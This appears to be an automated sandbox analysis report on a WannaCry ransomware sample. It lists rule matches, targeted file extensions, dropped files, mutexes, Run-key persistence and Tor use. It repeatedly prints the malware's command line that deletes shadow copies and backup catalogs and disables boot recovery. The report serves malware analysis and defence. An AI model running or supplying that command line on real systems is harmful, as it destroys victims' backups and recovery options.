Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1517789456.00000000009A5000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1459971296.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe1.11.dr	Binary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
Source: cscript.exe, 00000014.00000002.1425302692.0000000003388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;.VBP
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000000.1406207775.000000000040E000.00000008.00000001.01000000.00000006.sdmp	Binary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.win@8295/1166@26/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2784:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Mutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3484:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

File created: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\b.wnry

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 58191711205328.bat

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs

Source: C:\Windows\SysWOW64\cscript.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: C:\Windows\SysWOW64\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe

Window found: window name: RICHEDIT

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe

File opened: C:\Windows\SysWOW64\RICHED32.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: libeay32.dll.69.dr	Static PE information: section name: /4
Source: libeay32.dll.69.dr	Static PE information: section name: /19
Source: libeay32.dll.69.dr	Static PE information: section name: /31
Source: libeay32.dll.69.dr	Static PE information: section name: /45
Source: libeay32.dll.69.dr	Static PE information: section name: /57
Source: libeay32.dll.69.dr	Static PE information: section name: /70
Source: libeay32.dll.69.dr	Static PE information: section name: /81
Source: libeay32.dll.69.dr	Static PE information: section name: /92
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /4
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /19
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /31
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /45
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /57
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /70
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /81
Source: libevent-2-0-5.dll.69.dr	Static PE information: section name: /92
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /4
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /19
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /31
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /45
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /57
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /70
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /81
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: section name: /92
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /4
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /19
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /31
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /45
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /57
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /70
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /81
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: section name: /92
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /4
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /19
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /31
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /45
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /57
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /70
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /81
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: section name: /92
Source: libssp-0.dll.69.dr	Static PE information: section name: /4
Source: libssp-0.dll.69.dr	Static PE information: section name: /19
Source: libssp-0.dll.69.dr	Static PE information: section name: /31
Source: libssp-0.dll.69.dr	Static PE information: section name: /45
Source: libssp-0.dll.69.dr	Static PE information: section name: /57
Source: libssp-0.dll.69.dr	Static PE information: section name: /70
Source: libssp-0.dll.69.dr	Static PE information: section name: /81
Source: libssp-0.dll.69.dr	Static PE information: section name: /92
Source: ssleay32.dll.69.dr	Static PE information: section name: /4
Source: ssleay32.dll.69.dr	Static PE information: section name: /19
Source: ssleay32.dll.69.dr	Static PE information: section name: /31
Source: ssleay32.dll.69.dr	Static PE information: section name: /45
Source: ssleay32.dll.69.dr	Static PE information: section name: /57
Source: ssleay32.dll.69.dr	Static PE information: section name: /70
Source: ssleay32.dll.69.dr	Static PE information: section name: /81
Source: ssleay32.dll.69.dr	Static PE information: section name: /92

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\m.vbs

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

File created: C:\Users\user\Documents\@WanaDecryptor@.exe

Jump to dropped file

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

File created: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\~SD383F.tmp

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run whprujwpxi808
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run whprujwpxi808

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

File created: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\~SDD7F7.tmp

Jump to behavior

May use the Tor software to hide its network traffic

Source: @WanaDecryptor@.exe, 00000045.00000003.1539553722.00000000029B5000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Window / User API: threadDelayed 1258
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Window / User API: threadDelayed 2893
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Window / User API: threadDelayed 3150

